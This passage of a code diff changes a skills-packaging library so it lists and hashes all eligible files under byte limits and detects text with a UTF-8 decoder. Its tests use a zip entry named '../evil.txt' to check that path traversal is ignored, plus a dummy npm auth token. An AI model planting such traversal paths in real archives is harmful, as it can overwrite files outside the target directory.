expect(files.find((file) => file.relPath === "SKILL.md")?.contentType).toMatch(/^text\//);
@@ -139,17 +140,21 @@ describe("skills", () => {
);
});
it("falls back to text/plain for unknown text extensions", async () => {
it("uses a generic MIME fallback for unknown extensions", async () => {
const workdir = await mkdtemp(join(tmpdir(), "clawhub-env-"));
await writeFile(join(workdir, "SKILL.md"), "hi", "utf8");
await writeFile(join(workdir, "config.env"), "TOKEN=demo", "utf8");
await writeFile(join(workdir, "config.env"), "SETTING=demo", "utf8");
const files = await listTextFiles(workdir);
expect(files.find((file) => file.relPath === "config.env")?.contentType).toBe("text/plain");
expect(files.find((file) => file.relPath === "config.env")?.contentType).toBe(
"application/octet-stream",
);
});
it("includes tsv and extensionless text files while skipping extensionless binaries", async () => {
it("includes every eligible regular file with exact bytes", async () => {
const workdir = await mkdtemp(join(tmpdir(), "clawhub-extensionless-"));
await writeFile(join(workdir, "SKILL.md"), "hi", "utf8");
await writeFile(join(workdir, "main.tf"), 'resource "null_resource" "demo" {}\n', "utf8");
await writeFile(join(workdir, "terraform.tfvars"), 'region = "us-east-1"\n', "utf8");
await writeFile(join(workdir, "config.tsv"), "name\tvalue\napi\tok\n", "utf8");
await writeFile(join(workdir, ".npmrc"), "//registry.npmjs.org/:_authToken=secret\n", "utf8");
await mkdir(join(workdir, "bin"), { recursive: true });
@@ -163,11 +168,32 @@ describe("skills", () => {
largeBinary[largeBinary.length - 1] = 255;
await writeFile(join(workdir, "bin", "binary"), largeBinary);
const files = await listTextFiles(workdir);
const files = await listSkillFiles(workdir);
const paths = files.map((file) => file.relPath).sort();
expect(paths).toEqual(["SKILL.md", "bin/openclaw-kraken", "config.tsv"]);
expect(paths).toEqual([
"SKILL.md",
"bin/binary",
"bin/openclaw-kraken",
"config.tsv",
"main.tf",
"terraform.tfvars",
]);
expect(files.find((file) => file.relPath === "bin/openclaw-kraken")?.contentType).toBe(
"text/plain",
"application/octet-stream",
);
expect(files.find((file) => file.relPath === "bin/binary")?.bytes).toEqual(largeBinary);
});
it("checks publish limits before reading skill artifacts", async () => {
const workdir = await mkdtemp(join(tmpdir(), "clawhub-publish-limits-"));
await writeFile(join(workdir, "SKILL.md"), "hi", "utf8");
await writeFile(join(workdir, "payload.bin"), "12345", "utf8");
await expect(listSkillFiles(workdir, { maxFileBytes: 4, maxTotalBytes: 100 })).rejects.toThrow(
'File "payload.bin" exceeds 4 byte limit',
);
await expect(listSkillFiles(workdir, { maxFileBytes: 10, maxTotalBytes: 6 })).rejects.toThrow(
"Skill bundle exceeds 6 byte limit",
);
});
@@ -183,38 +209,48 @@ describe("skills", () => {
expect(fingerprint).toBe(expected);
});
it("hashes text files inside a downloaded zip deterministically", () => {
it("hashes every eligible file inside a downloaded zip deterministically", () => {
const opaqueBytes = Uint8Array.from([0, 1, 2, 255]);
const zip = zipSync({
"SKILL.md": strToU8("hello"),
"notes.md": strToU8("world"),
".npmrc": strToU8("//registry.npmjs.org/:_authToken=secret\n"),
"config/endpoints.tsv": strToU8("name\turl\napi\thttps://example.com\n"),
"bin/tool": strToU8("#!/usr/bin/env sh\necho ok\n"),
"image.png": strToU8("nope"),
"main.tf": strToU8('resource "null_resource" "demo" {}\n'),
"assets/payload.bin": opaqueBytes,
});
const { fingerprint } = hashSkillZip(new Uint8Array(zip));
const expected = buildSkillFingerprint([
{ path: "SKILL.md", sha256: sha256Hex(strToU8("hello")) },
{ path: "assets/payload.bin", sha256: sha256Hex(opaqueBytes) },
{ path: "bin/tool", sha256: sha256Hex(strToU8("#!/usr/bin/env sh\necho ok\n")) },
{
path: "config/endpoints.tsv",
sha256: sha256Hex(strToU8("name\turl\napi\thttps://example.com\n")),
},
{
path: "main.tf",
sha256: sha256Hex(strToU8('resource "null_resource" "demo" {}\n')),
},
{ path: "notes.md", sha256: sha256Hex(strToU8("world")) },
]);
expect(fingerprint).toBe(expected);
});
it("ignores unsafe or non-text entries when hashing zips", () => {
it("ignores unsafe entries when hashing zips", () => {
const zip = zipSync({
"SKILL.md": strToU8("hello"),
"folder/": strToU8(""),
"../evil.txt": strToU8("nope"),
"bad\\path.txt": strToU8("nope"),
"image.png": strToU8("nope"),
"image.png": strToU8("included"),
});
const { files } = hashSkillZip(new Uint8Array(zip));
expect(files).toEqual([{ path: "SKILL.md", sha256: sha256Hex(strToU8("hello")), size: 5 }]);
expect(files).toEqual([
{ path: "SKILL.md", sha256: sha256Hex(strToU8("hello")), size: 5 },
{ path: "image.png", sha256: sha256Hex(strToU8("included")), size: 8 },
]);
});
it("builds fingerprints from valid entries only", () => {
packages/clawhub/src/skills.ts
+55 -46
View File
@@ -1,21 +1,15 @@
import { createHash } from "node:crypto";
import { access, mkdir, open, readdir, readFile, writeFile } from "node:fs/promises";
import { access, mkdir, readdir, readFile, stat, writeFile } from "node:fs/promises";
import { dirname, join, relative, resolve, sep } from "node:path";
import { unzipSync } from "fflate";
import ignore from "ignore";
import mime from "mime";
import {
type Lockfile,
LockfileSchema,
parseArk,
TEXT_FILE_EXTENSION_SET,
} from "./schema/index.js";
import { type Lockfile, LockfileSchema, parseArk } from "./schema/index.js";
const DOT_DIR = ".clawhub";
const LEGACY_DOT_DIR = ".clawdhub";
const DOT_IGNORE = ".clawhubignore";
const LEGACY_DOT_IGNORE = ".clawdhubignore";
const TEXT_SAMPLE_BYTES = 4096;
export type SkillOrigin = {
version: 1;
@@ -27,6 +21,24 @@ export type SkillOrigin = {
fingerprint?: string;
};
type SkillFileEntry = {
absPath: string;
relPath: string;
size: number;
contentType?: string;
};
type SkillFile = {
relPath: string;
bytes: Uint8Array;
contentType?: string;
};
type SkillFileLimits = {
maxFileBytes: number;
maxTotalBytes: number;
};
export async function extractZipToDir(zipBytes: Uint8Array, targetDir: string) {
const entries = unzipSync(zipBytes);
await mkdir(targetDir, { recursive: true });
@@ -70,8 +82,8 @@ export async function extractGitHubZipPathToDir(
}
}
export async function listTextFiles(root: string) {
const files: Array<{ relPath: string; bytes: Uint8Array; contentType?: string }> = [];
export async function listSkillFiles(root: string, limits?: SkillFileLimits): Promise<SkillFile[]> {
const entries: SkillFileEntry[] = [];
const absRoot = resolve(root);
const ig = ignore();
ig.add([".git/", "node_modules/", `${DOT_DIR}/`, `${LEGACY_DOT_DIR}/`]);
@@ -84,14 +96,36 @@ export async function listTextFiles(root: string) {
if (!relPath) return;
if (ig.ignores(relPath)) return;
if (hasDotPathSegment(relPath)) return;
const ext = getFileExtension(relPath);
if (ext && !TEXT_FILE_EXTENSION_SET.has(ext)) return;
if (!ext && !(await isLikelyTextFile(absPath))) return;
const buffer = await readFile(absPath);
const contentType = mime.getType(relPath) ?? "text/plain";
files.push({ relPath, bytes: new Uint8Array(buffer), contentType });
const fileStat = await stat(absPath);
const contentType = mime.getType(relPath) ?? "application/octet-stream";
entries.push({ absPath, relPath, size: fileStat.size, contentType });
});
return files;
if (limits) {
const oversized = entries.find((entry) => entry.size > limits.maxFileBytes);
if (oversized) {
throw new Error(
`File "${oversized.relPath}" exceeds ${formatByteLimit(limits.maxFileBytes)}`,
);
}
const totalBytes = entries.reduce((total, entry) => total + entry.size, 0);
if (totalBytes > limits.maxTotalBytes) {
throw new Error(`Skill bundle exceeds ${formatByteLimit(limits.maxTotalBytes)}`);
}
}
return await Promise.all(
entries.map(async (entry) => ({
relPath: entry.relPath,
bytes: new Uint8Array(await readFile(entry.absPath)),
contentType: entry.contentType,
})),
);
}
/** @deprecated Use listSkillFiles. */
export async function listTextFiles(root: string) {
return await listSkillFiles(root);
}
type SkillFileHash = { path: string; sha256: string; size: number };
@@ -125,9 +159,6 @@ export function hashSkillZip(zipBytes: Uint8Array) {
const safePath = sanitizeZipPath(rawPath);
if (!safePath) return null;
if (hasDotPathSegment(safePath)) return null;
const ext = getFileExtension(safePath);
if (ext && !TEXT_FILE_EXTENSION_SET.has(ext)) return null;
if (!ext && !isLikelyTextBytes(bytes)) return null;
return { path: safePath, sha256: sha256Hex(bytes), size: bytes.byteLength };
})
.filter(Boolean) as SkillFileHash[];
@@ -198,36 +229,14 @@ function normalizePath(path: string) {
.replace(/^\.\/+/, "");
}
function getFileExtension(path: string) {
const name = path.split("/").at(-1) ?? path;
const dot = name.lastIndexOf(".");
return dot > 0 ? name.slice(dot + 1).toLowerCase() : "";
}
function hasDotPathSegment(path: string) {
return path.split("/").some((segment) => segment.startsWith("."));
}
async function isLikelyTextFile(path: string) {
const handle = await open(path, "r");
try {
const sample = new Uint8Array(TEXT_SAMPLE_BYTES);
const { bytesRead } = await handle.read(sample, 0, sample.byteLength, 0);
return isLikelyTextBytes(sample.subarray(0, bytesRead));
} finally {
await handle.close();
}
}
function isLikelyTextBytes(bytes: Uint8Array) {
const sample = bytes.slice(0, TEXT_SAMPLE_BYTES);
if (sample.includes(0)) return false;
try {
new TextDecoder("utf-8", { fatal: true }).decode(sample);
return true;
} catch {
return false;
}
function formatByteLimit(bytes: number) {
if (bytes % (1024 * 1024) === 0) return `${bytes / (1024 * 1024)}MB limit`;
if (bytes % 1024 === 0) return `${bytes / 1024}KB limit`;
return `${bytes} byte limit`;
}
function sanitizeRelPath(path: string) {
packages/schema/dist/textFiles.d.ts
Vendored
+2 -7
View File
@@ -1,7 +1,2 @@
export declare const TEXT_FILE_EXTENSIONS: readonly ["md", "mdx", "txt", "json", "json5", "yaml", "yml", "toml", "js", "cjs", "mjs", "ts", "tsx", "jsx", "py", "sh", "ps1", "psm1", "psd1", "r", "rb", "go", "rs", "swift", "kt", "java", "cs", "cpp", "c", "h", "hpp", "sql", "csv", "tsv", "ini", "cfg", "conf", "env", "properties", "dat", "xml", "html", "css", "scss", "sass", "svg"];
export declare const TEXT_FILE_EXTENSION_SET: Set<string>;
export declare const TEXT_CONTENT_TYPES: readonly ["application/json", "application/xml", "application/yaml", "application/x-yaml", "application/toml", "application/javascript", "application/typescript", "application/markdown", "image/svg+xml"];
export declare const TEXT_CONTENT_TYPE_SET: Set<string>;
export declare function isTextContentType(contentType: string): boolean;
export declare function guessTextContentType(path: string): string | undefined;
export declare function normalizeTextContentType(path: string, contentType?: string | null): string | undefined;
export declare function normalizeContentType(contentType?: string | null): string | undefined;
export declare function decodeUtf8Text(bytes: Uint8Array): string | null;
packages/schema/dist/textFiles.js
Vendored
+74 -108
View File
@@ -1,111 +1,77 @@
const RAW_TEXT_FILE_EXTENSIONS = [
"md",
"mdx",
"txt",
"json",
"json5",
"yaml",
"yml",
"toml",
"js",
"cjs",
"mjs",
"ts",
"tsx",
"jsx",
"py",
"sh",
"ps1",
"psm1",
"psd1",
"r",
"rb",
"go",
"rs",
"swift",
"kt",
"java",
"cs",
"cpp",
"c",
"h",
"hpp",
"sql",
"csv",
"tsv",
"ini",
"cfg",
"conf",
"env",
"properties",
"dat",
"xml",
"html",
"css",
"scss",
"sass",
"svg",
];
export const TEXT_FILE_EXTENSIONS = RAW_TEXT_FILE_EXTENSIONS;
export const TEXT_FILE_EXTENSION_SET = new Set(TEXT_FILE_EXTENSIONS);
const RAW_TEXT_CONTENT_TYPES = [
"application/json",
"application/xml",
"application/yaml",
"application/x-yaml",
"application/toml",
"application/javascript",
"application/typescript",
"application/markdown",
"image/svg+xml",
];
export const TEXT_CONTENT_TYPES = RAW_TEXT_CONTENT_TYPES;
export const TEXT_CONTENT_TYPE_SET = new Set(TEXT_CONTENT_TYPES);
const CANONICAL_TEXT_CONTENT_TYPES = {
md: "text/markdown",
mdx: "text/markdown",
txt: "text/plain",
json: "application/json",
json5: "application/json",
yaml: "application/yaml",
yml: "application/yaml",
toml: "application/toml",
js: "application/javascript",
cjs: "application/javascript",
mjs: "application/javascript",
jsx: "application/javascript",
ts: "application/typescript",
mts: "application/typescript",
cts: "application/typescript",
tsx: "application/typescript",
csv: "text/csv",
tsv: "text/tab-separated-values",
xml: "application/xml",
svg: "image/svg+xml",
};
export function isTextContentType(contentType) {
if (!contentType)
return false;
const normalized = contentType.split(";", 1)[0]?.trim().toLowerCase() ?? "";
if (!normalized)
return false;
if (normalized.startsWith("text/"))
return true;
return TEXT_CONTENT_TYPE_SET.has(normalized);
}
export function guessTextContentType(path) {
const ext = path.trim().toLowerCase().split(".").at(-1) ?? "";
if (!ext || !TEXT_FILE_EXTENSION_SET.has(ext))
return undefined;
return CANONICAL_TEXT_CONTENT_TYPES[ext] ?? "text/plain";
}
export function normalizeTextContentType(path, contentType) {
export function normalizeContentType(contentType) {
const normalized = contentType?.split(";", 1)[0]?.trim().toLowerCase() ?? "";
const guessed = guessTextContentType(path);
if (!guessed)
return normalized || undefined;
if (isTextContentType(normalized))
return normalized;
return guessed;
return normalized || undefined;
}
export function decodeUtf8Text(bytes) {
const chunks = [];
const codeUnits = [];
const appendCodePoint = (codePoint) => {
if (codePoint <= 0xffff) {
codeUnits.push(codePoint);
}
else {
const offset = codePoint - 0x10000;
codeUnits.push(0xd800 + (offset >> 10), 0xdc00 + (offset & 0x3ff));
}
if (codeUnits.length >= 8192) {
chunks.push(String.fromCharCode(...codeUnits));
codeUnits.length = 0;
}
};
for (let index = 0; index < bytes.length; index += 1) {
const first = bytes[index] ?? 0;
if (first <= 0x7f) {
appendCodePoint(first);
continue;
}
const second = bytes[index + 1];
if (first >= 0xc2 && first <= 0xdf) {
if (second === undefined || second < 0x80 || second > 0xbf)
return null;
appendCodePoint(((first & 0x1f) << 6) | (second & 0x3f));
index += 1;
continue;
}
const third = bytes[index + 2];
if (first >= 0xe0 && first <= 0xef) {
const secondMin = first === 0xe0 ? 0xa0 : 0x80;
const secondMax = first === 0xed ? 0x9f : 0xbf;
if (second === undefined ||
second < secondMin ||
second > secondMax ||
third === undefined ||
third < 0x80 ||
third > 0xbf) {
return null;
}
appendCodePoint(((first & 0x0f) << 12) | ((second & 0x3f) << 6) | (third & 0x3f));
index += 2;
continue;
}
const fourth = bytes[index + 3];
if (first >= 0xf0 && first <= 0xf4) {
const secondMin = first === 0xf0 ? 0x90 : 0x80;
const secondMax = first === 0xf4 ? 0x8f : 0xbf;
if (second === undefined ||
second < secondMin ||
second > secondMax ||
third === undefined ||
third < 0x80 ||
third > 0xbf ||
fourth === undefined ||
fourth < 0x80 ||
fourth > 0xbf) {
return null;
}
appendCodePoint(((first & 0x07) << 18) | ((second & 0x3f) << 12) | ((third & 0x3f) << 6) | (fourth & 0x3f));
index += 3;
continue;
}
return null;
}
if (codeUnits.length > 0)
chunks.push(String.fromCharCode(...codeUnits));
const text = chunks.join("");
return text.charCodeAt(0) === 0xfeff ? text.slice(1) : text;
}
//# sourceMappingURL=textFiles.js.map
packages/schema/dist/textFiles.js.map
Vendored
+1 -1
View File
@@ -1 +1 @@
{"version":3,"file":"textFiles.js","sourceRoot":"","sources":["../src/textFiles.ts"],"names":[],"mappings":"AAAA,MAAM,wBAAwB,GAAG;IAC/B,IAAI;IACJ,KAAK;IACL,KAAK;IACL,MAAM;IACN,OAAO;IACP,MAAM;IACN,KAAK;IACL,MAAM;IACN,IAAI;IACJ,KAAK;IACL,KAAK;IACL,IAAI;IACJ,KAAK;IACL,KAAK;IACL,IAAI;IACJ,IAAI;IACJ,KAAK;IACL,MAAM;IACN,MAAM;IACN,GAAG;IACH,IAAI;IACJ,IAAI;IACJ,IAAI;IACJ,OAAO;IACP,IAAI;IACJ,MAAM;IACN,IAAI;IACJ,KAAK;IACL,GAAG;IACH,GAAG;IACH,KAAK;IACL,KAAK;IACL,KAAK;IACL,KAAK;IACL,KAAK;IACL,KAAK;IACL,MAAM;IACN,KAAK;IACL,YAAY;IACZ,KAAK;IACL,KAAK;IACL,MAAM;IACN,KAAK;IACL,MAAM;IACN,MAAM;IACN,KAAK;CACG,CAAC;AAEX,MAAM,CAAC,MAAM,oBAAoB,GAAG,wBAAwB,CAAC;AAC7D,MAAM,CAAC,MAAM,uBAAuB,GAAG,IAAI,GAAG,CAAS,oBAAoB,CAAC,CAAC;AAE7E,MAAM,sBAAsB,GAAG;IAC7B,kBAAkB;IAClB,iBAAiB;IACjB,kBAAkB;IAClB,oBAAoB;IACpB,kBAAkB;IAClB,wBAAwB;IACxB,wBAAwB;IACxB,sBAAsB;IACtB,eAAe;CACP,CAAC;AAEX,MAAM,CAAC,MAAM,kBAAkB,GAAG,sBAAsB,CAAC;AACzD,MAAM,CAAC,MAAM,qBAAqB,GAAG,IAAI,GAAG,CAAS,kBAAkB,CAAC,CAAC;AAEzE,MAAM,4BAA4B,GAA2B;IAC3D,EAAE,EAAE,eAAe;IACnB,GAAG,EAAE,eAAe;IACpB,GAAG,EAAE,YAAY;IACjB,IAAI,EAAE,kBAAkB;IACxB,KAAK,EAAE,kBAAkB;IACzB,IAAI,EAAE,kBAAkB;IACxB,GAAG,EAAE,kBAAkB;IACvB,IAAI,EAAE,kBAAkB;IACxB,EAAE,EAAE,wBAAwB;IAC5B,GAAG,EAAE,wBAAwB;IAC7B,GAAG,EAAE,wBAAwB;IAC7B,GAAG,EAAE,wBAAwB;IAC7B,EAAE,EAAE,wBAAwB;IAC5B,GAAG,EAAE,wBAAwB;IAC7B,GAAG,EAAE,wBAAwB;IAC7B,GAAG,EAAE,wBAAwB;IAC7B,GAAG,EAAE,UAAU;IACf,GAAG,EAAE,2BAA2B;IAChC,GAAG,EAAE,iBAAiB;IACtB,GAAG,EAAE,eAAe;CACrB,CAAC;AAEF,MAAM,UAAU,iBAAiB,CAAC,WAAmB;IACnD,IAAI,CAAC,WAAW;QAAE,OAAO,KAAK,CAAC;IAC/B,MAAM,UAAU,GAAG,WAAW,CAAC,KAAK,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,CAAC,WAAW,EAAE,IAAI,EAAE,CAAC;IAC5E,IAAI,CAAC,UAAU;QAAE,OAAO,KAAK,CAAC;IAC9B,IAAI,UAAU,CAAC,UAAU,CAAC,OAAO,CAAC;QAAE,OAAO,IAAI,CAAC;IAChD,OAAO,qBAAqB,CAAC,GAAG,CAAC,UAAU,CAAC,CAAC;AAC/C,CAAC;AAED,MAAM,UAAU,oBAAoB,CAAC,IAAY;IAC/C,MAAM,GAAG,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC;IAC9D,IAAI,CAAC,GAAG,IAAI,CAAC,uBAAuB,CAAC,GAAG,CAAC,GAAG,CAAC;QAAE,OAAO,SAAS,CAAC;IAChE,OAAO,4BAA4B,CAAC,GAAG,CAAC,IAAI,YAAY,CAAC;AAC3D,CAAC;AAED,MAAM,UAAU,wBAAwB,CAAC,IAAY,EAAE,WAA2B;IAChF,MAAM,UAAU,GAAG,WAAW,EAAE,KAAK,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,CAAC,WAAW,EAAE,IAAI,EAAE,CAAC;IAC7E,MAAM,OAAO,GAAG,oBAAoB,CAAC,IAAI,CAAC,CAAC;IAC3C,IAAI,CAAC,OAAO;QAAE,OAAO,UAAU,IAAI,SAAS,CAAC;IAC7C,IAAI,iBAAiB,CAAC,UAAU,CAAC;QAAE,OAAO,UAAU,CAAC;IACrD,OAAO,OAAO,CAAC;AACjB,CAAC"}
{"version":3,"file":"textFiles.js","sourceRoot":"","sources":["../src/textFiles.ts"],"names":[],"mappings":"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"}
packages/schema/src/textFiles.test.ts
+17 -45
View File
@@ -2,56 +2,28 @@
import { describe, expect, it } from "vitest";
import * as schema from ".";
import {
guessTextContentType,
isTextContentType,
normalizeTextContentType,
TEXT_FILE_EXTENSION_SET,
} from "./textFiles";
import { decodeUtf8Text, normalizeContentType } from "./textFiles";
describe("clawhub-schema textFiles", () => {
it("exports text-file extension set", () => {
expect(TEXT_FILE_EXTENSION_SET.has("md")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("r")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("ps1")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("psm1")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("psd1")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("tsv")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("conf")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("properties")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("dat")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("exe")).toBe(false);
});
it("detects text content types with parameters", () => {
expect(isTextContentType("text/plain; charset=utf-8")).toBe(true);
expect(isTextContentType("application/json; charset=utf-8")).toBe(true);
expect(isTextContentType("application/octet-stream")).toBe(false);
});
it("guesses canonical content types for text files", () => {
expect(guessTextContentType("src/index.ts")).toBe("application/typescript");
expect(guessTextContentType("README.md")).toBe("text/markdown");
expect(guessTextContentType("data/table.csv")).toBe("text/csv");
expect(guessTextContentType("data/table.tsv")).toBe("text/tab-separated-values");
expect(guessTextContentType("analysis/model.R")).toBe("text/plain");
expect(guessTextContentType("scripts/setup.ps1")).toBe("text/plain");
expect(guessTextContentType("image.png")).toBeUndefined();
});
it("normalizes misleading MIME types for text files", () => {
expect(normalizeTextContentType("src/index.ts", "video/mp2t")).toBe("application/typescript");
expect(normalizeTextContentType("README.md", "text/markdown; charset=utf-8")).toBe(
"text/markdown",
it("detects UTF-8 text from bytes instead of file extensions", () => {
expect(decodeUtf8Text(new TextEncoder().encode('resource "null_resource" "demo" {}'))).toBe(
'resource "null_resource" "demo" {}',
);
expect(normalizeTextContentType("image.png", "image/png")).toBe("image/png");
expect(decodeUtf8Text(new TextEncoder().encode("hé😀"))).toBe("hé😀");
expect(decodeUtf8Text(Uint8Array.from([0xef, 0xbb, 0xbf, 0x61]))).toBe("a");
expect(decodeUtf8Text(Uint8Array.from([0]))).toBe("\0");
expect(decodeUtf8Text(Uint8Array.from([0, 1, 2, 255]))).toBeNull();
expect(decodeUtf8Text(Uint8Array.from([0xc3, 0x28]))).toBeNull();
});
it("normalizes supplied MIME types without consulting file extensions", () => {
expect(normalizeContentType("video/mp2t")).toBe("video/mp2t");
expect(normalizeContentType("text/markdown; charset=utf-8")).toBe("text/markdown");
expect(normalizeContentType("image/png")).toBe("image/png");
});
it("re-exports helpers from index", () => {
expect(typeof schema.isTextContentType).toBe("function");
expect(schema.isTextContentType("application/markdown")).toBe(true);
expect(schema.normalizeTextContentType("src/index.ts", "video/mp2t")).toBe(
"application/typescript",
);
expect(schema.normalizeContentType("video/mp2t")).toBe("video/mp2t");
expect(schema.decodeUtf8Text(new TextEncoder().encode("hello"))).toBe("hello");
});
});
packages/schema/src/textFiles.ts
+84 -109
View File
@@ -1,111 +1,86 @@
const RAW_TEXT_FILE_EXTENSIONS = [
"md",
"mdx",
"txt",
"json",
"json5",
"yaml",
"yml",
"toml",
"js",
"cjs",
"mjs",
"ts",
"tsx",
"jsx",
"py",
"sh",
"ps1",
"psm1",
"psd1",
"r",
"rb",
"go",
"rs",
"swift",
"kt",
"java",
"cs",
"cpp",
"c",
"h",
"hpp",
"sql",
"csv",
"tsv",
"ini",
"cfg",
"conf",
"env",
"properties",
"dat",
"xml",
"html",
"css",
"scss",
"sass",
"svg",
] as const;
export const TEXT_FILE_EXTENSIONS = RAW_TEXT_FILE_EXTENSIONS;
export const TEXT_FILE_EXTENSION_SET = new Set<string>(TEXT_FILE_EXTENSIONS);
const RAW_TEXT_CONTENT_TYPES = [
"application/json",
"application/xml",
"application/yaml",
"application/x-yaml",
"application/toml",
"application/javascript",
"application/typescript",
"application/markdown",
"image/svg+xml",
] as const;
export const TEXT_CONTENT_TYPES = RAW_TEXT_CONTENT_TYPES;
export const TEXT_CONTENT_TYPE_SET = new Set<string>(TEXT_CONTENT_TYPES);
